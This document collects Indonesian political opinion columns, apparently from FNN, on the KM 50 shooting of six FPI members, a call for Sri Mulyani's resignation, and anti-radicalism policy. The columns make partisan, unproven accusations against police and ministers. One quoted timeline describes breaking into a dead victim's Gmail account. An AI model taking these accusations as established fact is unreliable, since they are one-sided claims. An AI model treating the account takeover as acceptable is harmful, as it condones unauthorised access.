process of law juga akan bersinar terang dengan sendiri. Keadilan memang sulit didefenisikan. Tetapi tidak bagi orang yang tahu hakikat perintah Allah Subhanahu Wata’ala tentang hak ya hak, benar ya benar, dan batil ya batil. Hukumlah mereka yang perbuatannya nyata-nyata salah, dan bebaskanlah mereka yang perbuatannya nyata-nyata tidak salah. Jangan memproduksi dongeng. Komnas Ham memang top. Kecerdasan, keberanian dan kecerdikan tuan-tuan di Komnas HAM semua, telah menghadirkan harapan kecil yang hebat buat republik ini. Insya Allah republik ini tidak semakin terluka, tercabik-cabik dengan diskriminasi hukum dan politik. Love justice, love humanity, love dignity, itulah permintaan sakral semua pendiri republik ini. Hormat untuk tuan-tuan Komnas HAM semua.** Penulis adalah Pengajar HTN Universitas Khairun Ternate.

Sri Mulyani Mundurlah

MENTERI Keuangan Sri Mulyani Indrawati curhat kepada bos Dana Moneter Internasional (IMF-International Monetary Fund). Ia menyampaikan curahan hatinya, karena pada saat negara sedang darurat, masih saja ada orang yang melakukan korupsi atau merampok hak-hak rakyat. Berbicara di depan bos IMF dan perwakilan Perserikatan Bangsa-Bangsa (PBB), Sri Mulyani menceritakan tentang Menteri Sosial Juliari Peter Batubara, yang ditangkap Komisi Pemberantasan Korupsi (KPK), karena diduga menerima uang korupsi Rp 17 miliar lebih. Juliari, Wakil Bendahara Umum PDIP itu adalah rekan Sri Mulyani pada Kabinet Kerja. Tidak jelas, apakah curhat itu dimaksudkan agar IMF maupun lembaga keuangan internasional, dan negara-negara donor berhati-hati memberikan pinjaman kepada Indonesia. Atau malah sebaliknya, dengan curhat itu, diharapkan IMF dan lembaga keuangan lainnya lebih ringan menggelontorkan pinjaman kepada Indonesia yang sangat membutuhkan. Wajar jika mantan Direktur Pelaksana Bank Dunia itu menyampaikan curahan hati dan kegalauannya itu. Ia galau karena masih ada saja yang tega korupsi, mengambil hak rakyat yang sangat membutuhkan pada saat Corona Virus Disease 2019 (Covid-19) mewabah. Pantas ia curhat, karena ada pejabat dan koroninya yang tega merampok hak-hak rakyat yang sangat mendasar. Curhatannya itu bisa jadi keluar karena Sri Mulyani merasa sudah capek mencari utang, tetapi sebagian uangnya disamun teman sendiri. Bisa jadi curhatan itu merupakan ekspresi kekesalan dan kemarahannya, karena memperoleh pinjaman atau utang semakin sulit. Kalau Sri Mulyani jengkel atas perilaku koruptor, rakyat lebih jengkel lagi. "Teganya dana bansos yang merupakan hak rakyat yang sangat membutuhkan dirampok. Semoga saja pelakunya, terutama Juliari dihukum mati," demikian antara lain ungkapan hati rakyat yang dituangkan di media sosial. Sebagai bentuk kemarahan dan kekesalan, sejumlah caci-makian pun bertebaran di dunia maya. APBN 2021 yang baru masuk juga membutuhkan pinjaman. Apalagi, tahun ini pemerintah harus membayar bunga utang Rp 373,3 triliun atau naik 10,2 persen dari tahun 2020 sebesar Rp 338,8 triliun. Pendapatan dari pajak diperkirakan masih jauh dari memadai. Hal ini mengingat roda perekonomian sepanjang tahun ini diperkirakan belum pulih. Jalan keluar, mencari utang atau pinjaman luar negeri. Akan tetapi, mencari utang diperkirakan semakin sulit karena hampir semua negara peminjam akan fokus pada pemulihan ekonomi masing-masing. Sedangkan kas lembaga-lembaga keuangan internasional (Bank Dunia, Bank Pembangunan Asia dan Dana Moneter Internasional) diperkirakan terus menipis. Seandainya dana yang mereka miliki cukup, diyakini prioritas pinjaman atau bantuan yang akan disalurkan tentu ke sejumlah negara-negara yang semakin dalam kemiskinannya akibat Covid-19. Keluhan Sri Mulyani uang rakyat dikorupsi, menunjukkan, ekonom yang berasal dari Universitas Indonesia cengeng dan sekaligus putus asa. Padahal, masalah korupsi tidak hanya terjadi saat ini. Itu penyakit lama yang semakin akut. Sri Mulyani barangkali lupa, kasus suap dan pencucian uang yang dilakukan oleh Gayus Tambunan, saat masih menjadi pegawai Direktorat Jenderal Pajak. Sekadar mengingatkan saja, kasus ini sangat menghebohkan karena membuat sebagian rakyat segan membayar pajak. Rakyat yang membayar pajak marah saat itu. Jika dirunut ke belakang, cukup banyak uang pajak yang ditilep oleh oknum-oknum pegawai pajak, baik yang sempat ditahan dan diproses sampai pengadilan, maupun yang tidak tersentuh aparat penegak hukum. Padahal, uang pajak yang berasal dari rakyat itu sejatinya digunakan untuk membiayai sejumlah keperluan negara dan rakyat. Uang rakyat dikorupsi, sudah menjadi pemberitaan media dan perbincangan yang ramai tiap hari. Korupsi semakin marak dan menyebar terjadi setelah reformasi 1998. Jika di masa orde baru korupsi lebih melekat di kalangan Bina Graha untuk kalangan pejabat atau Cendana untuk kalangan keluarga dan kroni Pak Harto, maka sejak reformasi korupsi sampai ke pelosok desa. Bina Graha adalah salah satu nama di kompleks Istana Kepresidenan, Jakarta yang menjadi tempat Soeharto berkantor. Cendana adalah Jalan Cendana, Menteng, Jakarta Pusat yang menjadi tempat tinggal Soeharto dan keluarganya. Kini korupsi sampai ke pelosok desa. Sejumlah kepala desa atau perangkatnya berurusan dengan penegak hukum (kepolisian dan kejaksaan) karena menilep dana desa. Bergeser ke tingkat kabupaten, kota, provinsi dan nasional, korupsi semakin banyak dan besar-besar, terutama yang ditangani Komisi Pemberantasan Korupsi (KPK). Korupsi berjamaah pun seringkali disandangkan, karena melibatkan banyak orang. Malah, dalam satu kasus korupsi yang ditangani KPK, suami, istri, anak dan mantu terlibat. Bahkan, ada juga yang melibatkan adik kandung atau kerabat dekat lainnya. Korupsi sudah menjadi penyakit kronis. Ada KPK yang dikenal galak memberantasnya, korupsi masih merajalela. Apalagi lembaga antirasuah itu tidak ada. Kalau Sri Mulyani curhat atas korupsi bantuan sosial yang dilakukan Juliari Batubara, maka rakyat menjerit. Rakyat menangis atas sikap pejabat negara yang materialistik dan semakin menunjukkan perilaku hedon. Rakyat meringis, karena banyak jatah yang tidak sampai kepada mereka. Mbak Sri, dengarlah suara hati nurani rakyat. Anda sudah berusaha keras cari utang dan mengumpulkan pajak dari rakyat, tapi masih digarong sana-sini. Terlebih lagi penggunaan dana Covid-19 yang ratusan triliun yang masih dipertanyakan banyak orang. Anda jangan cuma curhat. Sudahlah, mundur saja dari Menteri Keuangan. Sebab, uang rakyat terus diembat oleh orang yang tidak menggunakan hati nurani dan tidak punya akal sehat. **

Presiden Segera Non Aktifkan Kapolda Metro Jaya

by M. Rizal Fadillah Bandung FNN – Senin (11/01). Komisi Nasional Hak Asasi Manusia (Komnas HAM) telah merilis hasil kerja penyelidikan tewasnya 6 anggota Laskar Front Pembela Islam (FPI) yang dikenal dengan “Tragedi Penembakan kilometer 50 tol Jakarta-Cikampek (Japek). Komnas HAM merekomendasi empat hal, yaitu soal pelanggaran HAM dan proses peradilan, penegakan hukum orang yang berada di dua mobil avansa yang bukan dari petugas Polda Metro Jaya, pengusutan senjata api, serta penegakan hukum yang akuntabel, obyektif dan transparan. Hasil kerja dan rekomendasi Komnas HAM disampaikan kepada Presiden untuk ditindaklanjuti. Presiden kini memegang bola panas itu. Rakyat menunggu sikap politik dan kepatuhan Presiden kepada hukum. Apalagi Presiden berulang-kali menegaskan bahwa Indonesia adalah negara hukum. Untuk itu, Presidem segera berpidato untuk kepentingan rakyat, bangsa, dan negara. Gunakan segala fasilitas yang disediakan oleh negara. Pakai itu podium dan mimbar di Istana Negara untuk berbicara kepada rakyat negeri ini. Bicara untuk didengar oleh masyarakat dan komunis pegiat HAM di muka bumi ini. Bicara, apresiasi dan tindak lanjuti itu hasil kerja Komnas HAM. Meski dengan kesadaran bahwa masih banyak pihak yang kecewa atas kerja Komnas HAM tersebut. Namun sekurangnya masih ada tiga pertanyaan krusial dan keingintahuan publik berkenaan dengan temuan Komnas HAM yang butuh penyelidikan lebih lanjut tersebut. Pertama, benarkah terjadi tembak-menembak sebelum sampai di kilometer 50 tol Japek? Atau baru terjadi tembak-menembak baru terjadi persis di kilometer 50 tol Japek seperti keterangan warga kepada wartawan FNN.co.id Edy Mulyadi? Pertanyaan ini penting mengingat sampai dengan rilis Komnas HAM itu disampaikan kepada masyarakat, tidak ada keterangan atau penjelasan sedikitpun "goresan" pada para petugas yang juga ditembak itu? Apakah kemungkinan dua anggota Laskar FPI yang sudah meninggal lebih dulu itu ditembak secara sepihak oleh "petugas misterius" dari dua mobil Avanza yang ikut membuntuti rombongan keluarga Habib Rizieq Shihab (HRS) sejak dari sentul? Sebab Komnas HAM dengan sangat jelas telah merekomendasi penegakan hukum kepada mereka-mereka di dua mobil Avanza tersebut. Kedua, mengusut senjata api rakitan. Apakah benar senjata rakitan tersebut adalah milik anggota Laskar FPI? Ataukah juga milik petugas yang kemudian dinyatakan seolah-olah merupakan milik anggota Laskar sehingga tersimpulkan terjadi "tembak-menembak" tersebut? Apalagi FPI telah menyatakan bahwa tidak ada anggotanya yang dibekali dengan senjata api atau senjata tajam lainnya. Pengusutan atas kepemilikan senjata rakitan ini menjadi penting mengingat adanya perubahan pada keterangan Kapolda Metro Jaya, Irjen Pol. Dr. Fadil Imron. Semula ketika memberikan keterangan dengan didampingi Pangdam Jaya Mayjen TNI Dudung Abdurrachman, Kapolda Mtero Jaya menyatakan pistol tersebut asli jenis revolver. Kemudian pernyataan itu berubah menjadi hanya pistol rakitan. Ketiga, kesimpulan tidak ada penyiksaan perlu dilakun pendalaman oleh tim forensik yang independen dari Ikatan Dokter Indonesia (IDI). Bukan tim forensik dari Rumah Sakit Polri mengingat adalanya jenazah yang lebam-lebam. Terjadi pembengkakan organ pada jenazah, serta melepuh dan mengelupas. Benarkah jenazah yang lebam-lebam, pembengkakan organ tubuh, melupuh dan mengelupas tersebut, semua hanya efek dari penembakan atau kolestrol? Sebab jarak waktu antara penembakan dengan otopsi, serta pemulasaraan jenazah relatif pendek. Perlu pendalaman yang lebih terperinci lagi. Keempat, atas rekomendasi bahwa terjadi pelanggaran HAM, maka harus ditindaklanjuti pada tingkat pengadilan. Dengan sendirinya petugas kepolisian akan segera menjadi tersangka. Kemungkinan sebagai atasan, Kapolda Metro Jaya Fadil Imron juga akan menjadi terperiksa. Demi berlanjutnya kasus "pelanggaran HAM" ini, maka dua hal menjadi mutlak adanya. Pertama, segera non aktifkan Kapolda Metro Jaya Irjan Pol. Dr. Fadil Imran. Kedua, Presiden harus segera memerintahkan Kapolri untuk menindaklanjuti rekomendasi Komnas HAM tersebut. Bila Presiden merasa tidak terkait, dan memiliki tanggung jawab besar kepada rakyat, maka segera perintahkan pula pembentukan Peradilan HAM atas peristiwa ini. Pembentukan pengadilan HAM menjadi penting, untuk menghindari keterlibatan lembaga HAM, atau bahkan Peradilan HAM internasional untuk ikut menangani kasus pelanggaran HAM kilometer 50 tol Japek ini. Presiden jangan diam saja. Jangan pula serahkan respon Pemerintah kepada keterangan atau pidato Menkopolhukam. Karena sudah terlalu banyak blunder yang dibuat Pak Menteri ini yang suka membuat rakyat kurang percaya kepada pemerintah. Ataukah memang Pak Presiden juga merasa sudah tidak dipercaya lagi oleh rakyat ? Penulis adalah Pemerhati Politik dan Kebangsaan.

Presiden Harus Menindaklanjuti Laporan Komnas HAM

by Dr. Ari Yusuf Amir SH. MH. Jakarta, FNN - Ahad (10/01). HASIL penyelidikan Komnas HAM terhadap peristiwa terbunuhnya 6 orang laskar Forum Pembela Islam (FPI) yang mengawal Habib Rizieq Shihab (HRS) pada 7 Desember 2020 lalu, mulai dibuka ke publik. Jumat (8/1) lalu, Komnas HAM telah merilis hasil pengumpulan data dan fakta yang telah diuji, dianalisis dan disimpulkan, serta direkomendasikan dalam sebuah laporan temuan hasil penyelidikan terhadap peristiwa penembakan di KM 50 ruas tol Jakarta-Cikampek (Japek). Satu hal yang setidaknya lebih jelas bahwa dari 6 orang laskar FPI yang tewas, Komnas HAM menyatakan, terdapat 4 orang korban yang didapatkan tewas akibat kekerasan dan penembakan dengan sengaja oleh polisi di luar mekanisme penegakan hukum yang seharusnya (unlawful killing). Bahkan sebelum dibunuh terungkap temuan pada tanda-tanda fisik yang menunjukkan bahwa keempat korban telah terlebih dahulu mengalami penyiksaan (torture). Dalam bahasa Komnas HAM, keempat orang FPI ini masih hidup ketika dalam penguasaan resmi petugas negara. Namun kemudian tewas di tangan petugas tanpa ada upaya lain untuk mencegahnya. Oleh karena itulah tindakan petugas yang menyiksa dan mengakibatkan kematian anggota FPI tersebut merupakan bentuk pelanggaran HAM (serious violation of human rights). Sementara itu, masih menurut versi Komnas HAM, dua orang laskar FPI yang tewas lainnya merupakan akibat penghadangan terhadap petugas negara. Terjadi kontak senjata ketika itu, dan dua anggota FPI itu kemudian gugur. Kesan yang ingin dibangun dari konstruksi cerita ini, bahwa dua orang yang tewas berkategori ' lawfull killing ' karena petugas negara sedang menegakkan hukum. Hanya saja aktivitas penegakan hukum yang sedang dilakukan polisi pada saat itu adalah menguntit HRS sebagai terduga pelaku pembuat kerumunan di masa pandemi Covid 19. Cara dan prosedur penegakan hukum yang berbuntut pada kekerasan fisik secara berlebihan ini kemudian mengundang kontroversi, karena tidak sebanding dengan dugaan kesalahan para korban. Harapannya, apabila terbukti terdapat pelanggaran HAM oleh kepolisian terkait dengan tewasnya 4 orang laskar FPI itu, tentu saja kita berharap agar kasus ini segera ditindaklanjuti melalui proses pemidanaan terhadap pelaku penembakan dan penyuruh (pemberi perintah) penembakan. Tentu saja penegakan hukum yang ' fairness ' hanya bisa dilakukan jika laporan Komnas HAM ini ditindaklanjuti oleh Presiden Jokowi. Bagaimana pun Komnas HAM adalah ' government body ' yang memberikan rekomendasi hasil kerjanya hanya kepada Presiden sebagaimana amanat UU Nomor 26 tahun 2000 tentang Hak Asasi Manusia. Sebagai kepala negara tentu saja presiden sejatinya menindaklanjuti rekomendasi pemidanaan tersebut. Tentu tidak sepatutnya bagi presiden memberikan imunitas (melindungi orang agar terbebas dari hukuman) apabila proses pemeriksaan nantinya menemukan pihak yang menjadi aktor pemberi perintah terjadinya pelanggaran HAM ini. Jika Presiden tidak sigap, tanggap dan cepat dalam merespon dan menindaklanjuti laporan Komnas HAM ini, bukan tidak mungkin kasus ini akan di-peties-kan atau dibekukan. Alhasil tidak akan ada bedanya dengan kasus penyiraman air keras terhadap penyidik senior KPK, Novel Baswedan. Kasus ini bisa serupa dimana aktor yang diusut hanyalah pelaku dan bukan penyuruh (dader). Apabila proses penegakan hukum terhadap kasus ini lamban karena faktor terhentinya proses tindaklanjut di meja Presiden, wacana untuk menyeret kasus ini ke peradilan pidana internasional ( International Criminal Court /ICC) akan memanas. Dan tentu saja hal ini akan menurunkan reputasi negeri ini di mata dunia. Lebih dari itu, jika mau jujur maka pelaku atau eksekutor penembak bersama dengan penyuruh atau pemberi perintah membunuh, atau orang yang mendesain terjadinya peristiwa ini, untuk segera ditangkap dan ditahan polisi. Merekalah yang harus dikriminalisasi melalui proses pemidanaan yang fair-play untuk mempertanggungjawabkan pelanggaran HAM yang dilakukannya. Salah satu usulan terpenting untuk memulai proses pemidanaan terkait dengan tindaklanjut laporan Komnas HAM ini adalah institusi kepolisian harus fokus pada upaya menyelamatkan citra dan kepercayaan masyarakat. Caranya, konsentrasi saja pada pengungkapan oknum-oknum pemberi perintah dan pelaku pelanggar HAM ini. Siapa pun pihak-pihak terduga pelaku dan penyuruhnya, sebaiknya segera dinonaktifkan dari kedudukan strukturalnya. Para individu ini harus diproses secara objektif dan bebas dari anasir tekanan dan intervensi pihak mana pun. Tidak boleh diberikan kesempatan adanya oknum pemberi perintah yang merekayasa kasus ini dengan membangun alibi bahwa petugas di lapangan membela diri sehingga sah membunuh. Padahal itu dilakukannya untuk menutupi rencana pembunuhan terhadap korban atas nama penegakan hukum. Pemberi perintah dan pelaksana perintah adalah oknum Polri yang harus dimintakan pertanggungjawaban hukumnya secara individual. Dengan cara tersebut maka citra institusi Polri dapat terselamatkan dari krisis kepercayaan, dan secara kelembagaan tetap berwibawa dalam mengemban tugas penegakan hukum. Tantangan Kapolri Baru Kita tentu saja menaruh harapan besar kepada figur Kapolri mendatang untuk memiliki komitmen tinggi dan kesungguhan pada usaha penegakan hukum atas kasus pelanggaran HAM oleh jajaran kepolisian ini. Penyidikan yang dilakukan menyusul rekomendasi Komnas HAM kepada presiden tersebut, hendaknya mendapatkan proteksi dari Kapolri agar bisa memastikan tidak adanya intervensi dari unsur pimpinan Polri lainnya yang dapat merusak objektivitas temuannya. Pimpinan Polri yang baru hendaknya menunjukkan kepada publik bahwa siapa pun individu dalam tubuh Polri yang salah dalam penerapan hukum, prinsip, prosedur, tata cara, serta melanggar kaidah penegakan hukum yang mengakibatkan kematian warga negara harus dimintakan pertanggungjawaban pidananya. Jadi institusi Polri tidak melindungi anggota Polri yang salah secara hukum dan tidak akan membebaskannya dari sanksi hukum. Dengan demikian tidaklah benar anggapan di masyarakat selama ini bahwa Polri akan melindungi anggotanya yang terlibat dalam pelanggaran HAM terhadap 6 Laskar FPI, kalau pun di proses maka hanya akan memproses pelaku di lapangan saja tanpa membongkar siapa figur pemberi perintahnya. Penulis adalah Paktisi Hukum.

Ketika Jenazah 6 Laskar FPI Bicara (7)

By Mochamad Toha Surabaya, FNN - Minggu (10/01). Tinggal satu TKP yang belum ditulis dari rangkaian Rekonstruksi atau reka ulang alias reka adegan dalam tulisan ini. Yakni TKP atau Lokasi Keempat. Versi polisi, di sinilah terjadi upaya merebut pistol polisi oleh laskar FPI. Benarkah? Lokasi Keempat Lokasi ini ada di KM 51 Jalan Tol Jakarta-Cikampek. Mobil Daihatsu Xenia sebenarnya akan membawa empat anggota FPI ke Polda Metro Jaya. Namun, di KM 51 Tol Japek itu, menurut polisi, keempat anggota FPI itu melawan dan berupaya merebut pistol polisi. Lokasi KM 51 menjadi TKP nomor empat yang ditandai Polisi. Menurut polisi, para anggota FPI berupaya merebut pistol anggotanya. Sehingga, polisi akhirnya menembak keempatnya di dalam mobil. Kejanggalan reka ulang lokasi 4: Dengan posisi duduk hanya satu orang polisi di bangku tengah dengan seorang polisi berdampingan di sebelah seorang laskar FPI, dan tiga orang laskar ada paling belakang. Jika memang terjadi upaya perebutan senjata rasanya cukup mustahil seorang polisi mampu melawan 4 orang laskar FPI yang diketahui punya ilmu bela diri. Dalam keadaan serba genting seperti itu di dalam mobil yang berjalan tentu akan cukup sulit polisi melakukan perlawanan apalagi sopir fokus ke jalan dan yang beraksi hanya dua polisi. Seorang polisi disergap dari belakang oleh tiga orang, semantara satu orang di sampingnya maka lebih yakin senjata polisi akan dengan mudah mereka rebut. Tentunya polisi itu sendiri akan menjadi korban. Dan besar kemungkinan justru akan terjadi tembak-menembak dalam mobil. Ini jelas aneh, apalagi dari hasil pemeriksaan korban yang tewas terdapat banyak luka di tubuhnya. Peluru yang ditembakkan polisi seperti sangat terarah, karena tepat di jantung dan selebihnya acak. Koq bisa? Hal lain yang perlu kita perhatikan bahwa semua peluru yang ditembakkan polisi (di antara 3 polisi itu) tembus di tubuh korban. Jika tembus, maka seharusnya mobil Xenia itu di bagian belakang akan banyak sekali bekas tembakan karena pelurunya juga bisa mengenai kursi, dinding bahkan mungkin kaca mobil. Apakah mobil Xenia itu rusak di bagian dalamnya? Di mana proyektil dan selongsongnya? Bukankah seharusnya masih ada jejaknya di mobil? Ini semakin tidak masuk akal kita kalau mencermati kronologi reka ulang tersebut. Keramaian di lokasi Rest Area KM 50 tersebut diperkirakan selesai sekitar pukul 01.30 Wib bersamaan dengan waktu mobil polisi melaju ke jalan tol kembali. Sekitar pukul 3 pagi 6 laskar tersebut tiba di Rumah Sakit Polri Kramatjati. Jarak tempuh antara lokasi rest area dengan RS itu sekitar 1 jam dan berarti seharusnya sampai pukul 2.30. Pertanyaannya kemudian adalah ke mana mobil Xenia polisi itu sebelum sampai di RS Polri, jika dikatakan laskar FPI ditembak dalam mobil yang sedang melaju karena mereka berupaya melawan 2 orang polisi dalam mobil? Diduga, mobil polisi Xenia itu stop dahulu di suatu tempat, menurunkan mereka, menganiaya mereka baru kemudian ditembak. Setelah itu dibawa masuk lagi ke dalam mobil melanjutkan perjalanan dan pukul 03.00 sampailah di rumah sakit dalam kondisi sudah tewas! CCTV Error? PT Jasa Marga (Persero) Tbk melalui anak usaha yang bergerak di bidang pengoperasian di Jalan Tol, PT Jasamarga Tollroad Operator (JMTO), menjelaskan terjadi gangguan pada link jaringan backbone CCTV/Fibre Optic di KM 48+600 sejak Minggu (6/12/2020) pukul 04.40 WIB. Disebutkan, gangguan di titik tersebut mengakibatkan jaringan CCTV mulai dari KM 49 (Karawang Barat) sampai dengan KM 72 (Cikampek) menjadi mati. Direktur Utama (Dirut) PT Jasamarga Syubakti Syukur memenuhi panggilan Komnas HAM, untuk memberikan penjelasan terkait "bentrokan" anggota Polri dengan laskar khusus pengawal Habib Rizieq Shihab (HRS). Peristiwa tersebut terjadi di Tol Jakarta-Cikampek pada Senin (7/12/2020) pukul 00.30 WIB. Syubakti telah memberikan keterangan dan dokumen terkait peristiwa yang terjadi di Tol Jakarta-Cikampek kepada Komnas HAM. Syubakti mengatakan, CCTV di kawasan tersebut tidak rusak. “Kalau mengenai CCTV yang kemudian dikabarkan rusak, itu sebenarnya enggak, CCTV kita itu semuanya berfungsi,” kata Syubakti di kantor Komnas HAM, Jakarta Pusat, Senin (14/12/2020). Menurut Syubakti, di Tol Jakarta-Cikampek terpasang ratusan CCTV. Menurutnya, rekaman CCTV yang terjadi pada KM 50 bukan rusak, melainkan terdapat gangguan pengiriman data. “Jadi CCTV kita di Jakarta-Cikampek maupun elevated di bawahnya itu ada 277 CCTV yang kemarin memang kebetulan terganggu tersebut bukan CCTV-nya. CCTV tetap berfungsi, tapi pengiriman data itu terganggu hanya 24 CCTV dari KM 48, 49 sampe 72,” lanjutnya. Kendati demikian, Syubakti menyebut CCTV pada lokasi kejadian tidak terekam. Itu karena terdapat kesalahan pada pengiriman data perekaman CCTV. “Kalau di luar yang 23 tersebut, sekian jam itu dari pukul 4.50 atau jam 5 sampai 4 besoknya itu di 23 titik itu enggak kekirim data. Nggak ada rekaman,” ungkap Syubakti. Akibatnya, sebanyak 23 CCTV mulai dari KM 49 sampai dengan KM 72 tak bisa melakukan perekaman data dalam rentang waktu terjadinya insiden tewasnya 6 orang Laskar FPI. Penjelasan Syubakti di atas jika benar, maka pihak kepolisian tentu tidak akan punya data rekaman kecuali dalam kasus ini sebenarnya CCTV itu normal dan kemudian datanya saat kejadian itu dihapus setelah di-copy. Dalam hal ini polisi harus membuktikan kalau memang ada rekamannya. Jika, tidak ada maka pihak polisi bisa dianggap telah membuat pembohongan publik. Tapi, jika ada, maka pihak Jasa Marga harus diproses hukum, kerena sudah membuat statement simpang siur. Siapa yang sengaja menghapus rekaman di 23 titik CCTV itu sejak pukul 4.50 beberapa jam kemudian, ini patut dicari tahu. Pihak Jasa Marga-kah? Atas permintaan siapa sampai tidak bisa terekam atau hilang rekamannya? Atau ada pihak lain yang memerintahkan hapus? Jika benar sudah ada pengakuan dari Polri bahwa pihaknya yang “ambil”, betapa ini suatu perbuatan melawan hukum: Merusak fasilitas milik Negara! Melansir Detik.com, Jum’at (08/01/2021), Komnas Ham menyebut: saksi mata penembakan oleh polisi terhadap 6 anggota FPI hingga gugur semuanya, mendengar perintah polisi agar menghapus hasil rekaman CCTV di areal tempat kejadian. Tidak hanya itu. Melansir pula Portalislam.id, Sabtu (19/12/2020), yang mengutip hasil dari investigasi Tempo.co, semua hand phone milik masyarakat yang berada di sekitar lokasi Rest Area KM 50 diperiksa polisi. Mengapa itu sampai dilakukan polisi? Apakah hal itu dimaksudkan untuk memastikan, pada seluler masing-masing warga tidak terdapat foto, video, tulisan atau apa pun yang bisa mengarah terbongkarnya peristiwa sebenarnya? Wallahu ‘alam. Lini masa Reza Berikut kutipan Lini masa Muhammad Reza yang sudah ditulis Tempo.co dan juga beredar di Youtube Channel “Tukang Cendol 9.0”. Kami mencoba untuk mencari tahu kronologi perjalanan 6 Laskar. Dari sekian banyak opsi yang memungkinkan, mendapatkan histori perjalanan atau Linimasa adalah yg terbaik, untuk bisa mengetahui posisi korban ketika hilang. Kami mencoba masuk ke salah satu Gmail korban, Muhammad Reza. Dengan berbagai upaya akhirnya kami bisa masuk, ke Gmail korban. Kami segera mengamankan Gmail tersebut dengan mengganti password dan memasang autentikasi. Karena pada saat yang sama Hape Muhammad Reza sudah disita Polisi. Ternyata ada 2 Hape yang terhubung ke Gmail Reza. Xiaomi Redmi 8 dan Samsung Galaxy A20. Kami berusaha memutus koneksi Gmail Reza dengan Hape yang sudah disita. Setelah berhasil memutus koneksi, mengganti password dan device, kami mulai request download data Gmail. Karena dari sana semua data yang ada di Gmail Reza dapat kami pelajari. Sambil menunggu, kami teruskan dengan menjelajahi Lini masa Reza. Lini masa pada 6 Desember 2020 berakhir pada jam 22:36. Ini bersamaan waktunya dengan hilangnya Reza dan Laskar lainnya. Dalam laporan kepolisian tertanggal 7 Desember 2020, disebutkan kejadian penembakan terjadi pada 6 Desember jam 23:45. Ini sesuai dengan hilangnya Lini masa Reza, dan tiba tiba saja Hape Reza aktif kembali pada jam 7:04 di Jl. Pasar Baru Timur Dalam. Sementara dalam status Whatsappnya, aktif terakhir 7 Desember 2020 jam 8:20. Yang aneh Lini masa Reza terus bergerak pada tanggal 7 Desember tersebut. Akhirnya kami mengetahui, bahwa hanya Hape Xiaomi Redmi 8 yang disita dan dijadikan barang bukti. Sementara Hape Samsung A20 masih terus dibawa-bawa oleh seseorang yang kuat terlibat dalam pembunuhan 6 Laskar, di mana setiap pergerakannya dapat di lihat dengan jelas dalam video. Lini masa di Hape Samsung A20 terakhir bergerak tanggal 9 Desember dari POM Bensin / SPBU KS Tubun pada jam 00:45 - 00:56. Kemudian bergerak menuju suatu tempat/Villa di Megamendung. (Selesai) *** Penulis wartawan senior fnn.co.id

Melumpuhkan Umat Islam Dengan Isu Radikalisme

by M. Rizal Fadillah Bandung FNN – Ahad (10/01). Menteri Agama Yaqut Cholil Quomas terus menyerang umat Islam. Ini semacam strategi perang frontal dan gerilya. Senjata penghancurnya adalah isu radikalisme dan intolerasi. Bagai menginginkan agar umat Islam menjadi umat yang lemah, hilang gairah, runtuh kekebalan keimanan, dan menjadi terjajah. Setelah itu, wibawa umat Islam menjadi sirna. Lalu suka dan senang menghamba. Bahkan lebih suka untuk berjoged-joged daripada berjuang dan bertempur di medan berda'wah, dengan menyeru kepada kebaikan dan mencegah kemungkaran. Umat Islam diharapkan menjadi umat yang "kaleng-kelang, odong-odong dan beleng-beleng ". Beberapa hari lalu Menteri Agama Yaqut mendatangi Wakil Presiden KH. Ma’ruf Amin. Yaqut meminta untuk dilibatkan dalam menyusun konten seleksi Aparatur Sipil Negara (ASN) dalam rangka mencegah radikalisme. Pada era Jokowi khususnya periode kedua ini, fokus Kementrian Agama hanya pada masalah radikalisme dan intoleransi semata. Asumsinya Kementerian Agama adalah, bahwa umat beragama, khususnya umat Islam adalah kaum yang intoleran, radikalis, dan bahkan teroris. Agama ditempatkan menjadi musuh bagi kehidupan, dan harmoni berbangsa dan bernegara. Bahkan menjadi lawan ideologi. Terorisme mungkin lebih memiliki batasan yang jelas. Walaupun penuh dengan rekayasa, dan kepentigan global memainkan peran dominan. Sama dengan radikalisme yang menjadi mainnan elit global seperti disampaikan Komjen Pol. Dharma Pongrekun, “Islam itu Sangat Mencintai Kedamaian”, (FNN.co.id edisi 23/11/2019). Bahkan radikalime samkin tidak jelas lagi. Memiliki pengertian yang bias, dan dapat disalahmaknakan. Kamus Besar Bahasa Indonesia (KBBI) pun hanya memberi batasan radikalisme untuk aliran politik. Bukan untuk pengertian yang berkaitan dengan keagamaan. Yaqut yang menempatkan diri sebagai panglima toleransi dan deradikalisasi, terkesan ingin membawa budaya kelompoknya menjadi kultur keberagamaan umat Islam. Keragaman yang diubah menjadi keseragaman. Beragama secara monolit yang seperti ini, bukan integrasi tetapi aneksasi dan. Penaklukan terhadap tata cara beragama. Moderasi atau toleransi tidak boleh menyebabkan seorang muslim menjadi kehilangan identitas kemusliman atau menjadi sinkretis. Bukan dengan mesti shalawat atau azan di gereja. Bukan pula dengan mencium tangan pastur, atau berpidato mengakui Yesus sebagai anak Tuhan. Bukan juga dengan meyakini semua agama itu, benar sehingga agama apapun dapat mengantarkan ke Surga. Gerakan anti radikalisme menjadi fenomena dan strategi melumpuhkan umat Islam. Sejarah politik bangsa menunjukkan terjadinya persaingan politik antara kelompok politik keagamaan dan kelompok kebangsaan sekuler. Memadukan kedua kekuatan potensial bangsa tersebut telah dilakukan melalui konsensus dalam rumusan ideologi Pancasila. Ketika kelompok kebangsaan sekuler "menang" dalam kompetisi demokrasi, maka ada kesan misi "menghajar" kekuatan politik Islam saat dimulai. Meski ada partai politik berbasis Islam, tetapi sebagian besarnya lumpuh dan ikut irama permainan politik pragmatik. Hanya karena takut dan tersandra dengan ancaman-ancaman permasalahan hukum. Pelemahan partai politik sekarang terus bergeser dan bergerak ke aras kehidupan sosial kemasyarakan. Organisasi Kemasyarakatan (Ormas), Lembaga Swadaya Masyarakat (LSM), atau pergerakan Islam menjadi target yang harus dilumpuhkan. Isu strategis yang dinilai layak dan efektif untuk dipakai adalah radikalisme dan intoleransi. Menteri Agama sebelumnya Fakhrul Rozi yang berlatar belakang militer terkesan diamanati Jokowi untuk mengemban misi mengangkat isu radikalisme. Begitu juga dengan Menteri Agama penggantinya Yaqut Cholil Qoumas. Jika Kementrian Agama menjadi kementrian yang berisik dengan isu dan pandangan negatif terhadap aspek keagamaan umat Islam, maka kementrian ini telah menjauh dari misi awal sejarah pembentukannya. Kita harus malu dengan ucapan aktivis HAM Natalius Pigai yang non muslim bahwa "sampai kapan umat yang mayoritas, terutama muslim, akan tenang. Tidak ada Islam yang intoleran, tidak ada Islam yang teroris, tidak ada Islam yang radikal. Yang ada adalah cara pandang pemimpin yang radikal dan teroris ". Penulis adalah Pemerhati Politik dan Keagamaan.

